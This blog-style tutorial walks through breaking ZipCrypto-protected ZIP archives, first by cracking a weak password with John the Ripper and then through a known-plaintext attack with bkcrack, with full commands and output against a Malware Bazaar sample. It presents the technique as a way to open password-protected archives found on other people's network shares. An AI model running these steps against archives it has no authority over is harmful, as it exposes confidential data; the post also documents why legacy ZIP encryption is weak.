Sometimes in a network far away, which is most of the time not yours, you might encounter ZIP files protected with passwords. For example, for source code archives, there is quite a good chance to decrypt the ZIPs even without knowing or cracking the password. This is nothing new and has been well-known for several years, but it still seems to be relatively unknown. Personal I learned from this in a blogpost about decrypting Conti Ransomware and the quote at the end which sticked

“It’s amazing what the ransomware operators know about cryptography…”

TL;DR:

  • Find an encrypted ZIP
  • Hope that it is not AES encrypted
  • Get one of the files from the ZIP as plaintext from the internet or other sources
  • Profit!

Details

Maybe at some point, after hours of digging on network shares or buckets, you encountered that one ZIP file that looked juicy, and you were ready to open it. You set up the VM without internet access to avoid the honeycred/files/tokens, clicked on the file with the .config, and then…

Stupid Password Prompt

Don’t you hate it when that happens?

A stupid password??? …

But there are some good chances to get around this, as the underlying zipCrypto has some attack vectors.

Time to have some “fun” :)

The first try would be just to crack the password, as quite often they are really weak.

To demonstrate this, I took some random file from Malware Bazaar.

Our sample zip

Just kidding, be careful out there

Plan A - Standard - Crack it

John the Ripper has a nice zip2john module for it.

So we build a hash over the zip:

user@localhost ~/zip> john/run/zip2john  18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip > zip.hash
ver 2.0 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip/Launcher/ is not encrypted, or stored with non-handled compression type
ver 2.0 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip/Launcher/ActiveSyncProvider.dll PKZIP Encr: cmplen=719649, decmplen=1707520, crc=10BE1B90 ts=06E9 cs=10be type=8
[...]
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Paste or redirect in a text file and we will see that a strong password is in use…

Yeah, we want some passwords

user@localhost ~/zip> /opt/john/run/john zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:00 DONE 1/3 (2025-04-03 20:49) 0g/s 1021Kp/s 1021Kc/s 1021KC/s Demuxmgr1900..Zip1900
Proceeding with wordlist:/opt/john/run/password.lst
Enabling duplicate candidate password suppressor
2025             (18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip)     
1g 0:00:00:00 DONE 2/3 (2025-04-03 20:49) 4.000g/s 851300p/s 851300c/s 851300C/s navy123..kyle24
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Great plan

Ooooookay 2025, that was a crazy password. For the sake of the more interesting part of the blog, we just ignore this for a moment.

Plan B - The cool one - Known Plaintext attack

Cracking is always nice, but the more interesting attack is a plaintext attack against the archive. Some nice details about our attack against the zipcrypto can be found here: https://wiki.anter.dev/misc/plaintext-attack-zipcrypto/

First we want to know, what we have to deal with.

user@localhost ~/zip> unzip -vv 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip 
Archive:  18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2025-03-28 21:26 00000000  Launcher/
 1707520  Defl:N   719637  58% 2025-02-24 00:55 10be1b90  Launcher/ActiveSyncProvider.dll
       0  Stored        0   0% 2025-03-28 20:49 00000000  Launcher/com/
   81920  Defl:N    33934  59% 2023-12-04 10:46 c7484291  Launcher/com/AcSpecfc.dll
  168448  Defl:N    75753  55% 2025-02-24 00:53 2bf4bfd8  Launcher/com/AdvancedEmojiDS.dll
       0  Stored        0   0% 2025-03-28 20:49 00000000  Launcher/data/
   26112  Defl:N    10754  59% 2019-12-07 17:08 cd285dbe  Launcher/data/AJRouter.dll
 1722096  Defl:N   513132  70% 2022-12-23 23:02 161941c4  Launcher/data/alibabacloud-oss-cpp-sdk.dll
       0  Stored        0   0% 2024-05-19 02:26 00000000  Launcher/data/changelog.txt
    3245  Defl:N     1344  59% 2024-12-04 13:24 6df9108a  Launcher/data/COPYRIGHT
  163568  Defl:N    55942  66% 2022-12-23 23:02 720eae83  Launcher/data/cpr.dll
[...]
--------          -------  ---                            -------
767295036         58901308  92%                            33 files

Defl:N is a good hint, that we need to deal with Deflate mode of zips, which is not great but okay. There are several modes for ZIP files. Text is from the 7z help and superuser forum:

Method Description

LZMA
    It's base compression method for 7z format. Even old versions of 7-Zip can decompress archives created with LZMA method. It provides high compression ratio and very fast decompression.
LZMA2
    Default compression method of 7z format. LZMA2 is LZMA-based compression method. It provides better multithreading support than LZMA. But compression ratio can be worse in some cases. For best compression ratio with LZMA2 use 1 or 2 CPU threads. If you use LZMA2 with more than 2 threads, 7-zip splits data to chunks and compresses these chunks independently (2 threads per each chunk).
PPMd
    Dmitry Shkarin's PPMdH algorithm with small changes. Usually it provides high compression ratio and high speed for text files.
BZip2
    Standard compression method based on BWT algorithm. Usually it provides high speed and pretty good compression ratio for text files.
Deflate
    Standard compression method of ZIP and GZip formats. Compression ratio is not too high. But it provides pretty fast compressing and decompressing. Deflate method supports only 32 KB dictionary.
Deflate64
    Modified version of Deflate algorithm with bigger dictionary (64KB).

Deflate is the most common method, as it is the standard for 7z and others.

zipinfo would provide even more information about the zip if needed.

user@localhost ~/zip> zipinfo -v 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip 
Archive:  18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
There is no zipfile comment.

[...]
Central directory entry #2:
---------------------------

  There are an extra -36 bytes preceding this file.

  Launcher/ActiveSyncProvider.dll

  offset of local header from start of archive:   39
                                                  (0000000000000027h) bytes
  file system or operating system of origin:      MS-DOS, OS/2 or NT FAT
  version of encoding software:                   6.3
  minimum file system compatibility required:     MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:   2.0
  compression method:                             deflated
  compression sub-type (deflation):               normal
  file security status:                           encrypted
  extended local header:                          no
  file last modified on (DOS date/time):          2025 Feb 24 00:55:18
  32-bit CRC value (hex):                         10be1b90
  compressed size:                                719649 bytes
  uncompressed size:                              1707520 bytes
  length of filename:                             31 characters
  length of extra field:                          36 bytes
  length of file comment:                         0 characters
  disk number on which file begins:               disk 1
  apparent file type:                             binary
  non-MSDOS external file attributes:             000000 hex
  MS-DOS file attributes (20 hex):                arc 
[...]

So what do we need now? We need one exactly same file as provided within the zip file. As we can read the size and the name this is a job for the internet!

Going to a lovely place

I went for the AJRouter.dll, other files might work as well.

26112  Defl:N    10754  59% 2019-12-07 17:08 cd285dbe  Launcher/data/AJRouter.dll

Success rate was quite good for dll files or files with rather unique names like msg_26.txt and a very specific size.

Several options to look for files:

  • GrayHatWarfare is great for this, you can even provide the exact size

GrayHatWarfare is doing great for that

Sniffing around

As we can see, we found at least a file with the same size.

Remember that files can be different, even if they have the same size, so if the attack is failing try different files.

user@localhost ~/zip> ls -al
total 57572
drwxr-xr-x  3 user user     4096 Apr  2 21:26 ./
drwx------ 39 user user     4096 Apr  2 20:47 ../
-rw-r--r--  1 user user 58907190 Apr  1 21:07 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip
-rw-r--r--  1 user user    26112 Apr  2 21:18 AJRouter.dll
drwxr-xr-x 12 user user     4096 Mar 27 20:49 bkcrack/

So nice, we found our plaintext file. Now as Deflate was the method in use, we need to make a file with several compressions (-mx for 7z). The Range is from 0-9 in that case. So a quick&dirty oneliner will make all zip files for us.

user@localhost ~/zip> seq 0 10 | xargs -i 7z a -mm=Deflate -mx{} plain{}.zip /home/user/zip/AJRouter.dll

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs 13th Gen Intel(R) Core(TM) i7-13700H (B06A2),ASM,AES-NI)

Scanning the drive:
1 file, 26112 bytes (26 KiB)

Creating archive: plain0.zip

Items to compress: 1

    
Files read from disk: 1
Archive size: 11438 bytes (12 KiB)
Everything is Ok
[...]

Now we have several zip files with different compressions.

Finally, we can use bkcrack to run our plaintext attack.

Crack legacy zip encryption with Biham and Kocher’s known plaintext attack.

So we need to provide:

  • -P our create Zip file
  • -p plaintext file in our zip
  • -C the zip we want to attack
  • -c path to the file we have the plaintext to

Go go go

user@localhost ~/zip> ls plain*.zip | xargs -i -t  ~/zip/bkcrack/install/bkcrack -P {} -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c "Launcher/data/AJRouter.dll"

/home/user/zip/bkcrack/install/bkcrack -P plain0.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
Data error: ciphertext is smaller than plaintext.

/home/user/zip/bkcrack/install/bkcrack -P plain10.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
[21:30:15] Z reduction using 10635 bytes of known plaintext
64.3 % (6841 / 10635)
[21:30:16] Attack on 193 Z values at index 4571
100.0 % (193 / 193)
[21:30:16] Could not find the keys.

/home/user/zip/bkcrack/install/bkcrack -P plain1.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
Data error: ciphertext is smaller than plaintext.

[...]

/home/user/zip/bkcrack/install/bkcrack -P plain5.zip -p AJRouter.dll -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -c Launcher/data/AJRouter.dll
bkcrack 1.7.1 - 2024-12-21
[21:30:16] Z reduction using 10747 bytes of known plaintext
84.9 % (9120 / 10747)
[21:30:17] Attack on 256 Z values at index 2656
Keys: 4ba31d26 7d9a4839 a4864fa0
70.3 % (180 / 256)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 180
[21:30:17] Keys
4ba31d26 7d9a4839 a4864fa0
[...]

As we can see, with compression 5 we get some keys. This is not surprising, as 5 is the default, but it’s always good to test all compressions and we are talking about seconds for this kind of attack.

I really want to point this out, the run takes seconds to finish (if your plaintext file has a decent size)

________________________________________________________
Executed in    7.75 secs    fish           external
   usr time   13.78 secs    1.77 millis   13.78 secs
   sys time    0.07 secs    1.30 millis    0.06 secs

Next step is to use the keys to rewrite the ZIP without a password.

user@localhost ~/zip [1]> ~/zip/bkcrack/install/bkcrack -C 18168030a976b6b72dbb2123b00dafc6739c5c26e5e8fbfdff61ae65ee904f70.zip -D withoutpw.zip -k 4ba31d26 7d9a4839 a4864fa0
bkcrack 1.7.1 - 2024-12-21
[21:32:27] Writing decrypted archive withoutpw.zip
100.0 % (27 / 27)

That’s it, now we have an unprotected ZIP file where we can access all the files and juicy secrets within.

user@localhost ~/zip> unzip -v -p withoutpw.zip Launcher/data/COPYRIGHT | head
Copyright © 1993, 2025, Oracle and/or its affiliates.
All rights reserved.

This software and related documentation are provided under a
license agreement containing restrictions on use and
disclosure and are protected by intellectual property laws.
Except as expressly permitted in your license agreement or
allowed by law, you may not use, copy, reproduce, translate,
broadcast, modify, license, transmit, distribute, exhibit,
perform, publish, or display any part, in any form, or by

Taking all the little secrets

Despite the fact, that the password in this case was super easy, it does not matter. The password of the ZIP has no influence on the derivated keys and therefore the plaintext attack. It could even be “Sup3rS3cr3t!” which John would never ever crack!!!

Bonus

If you have a lot of ZIPs and want to check which one have a password protection, which is ofc a strong indicator for some nice little secrets inside, the following OneLiner was handy.

ls *.zip | xargs -i -t bash -c 'zipinfo -v {} | grep -ic "  encrypted"'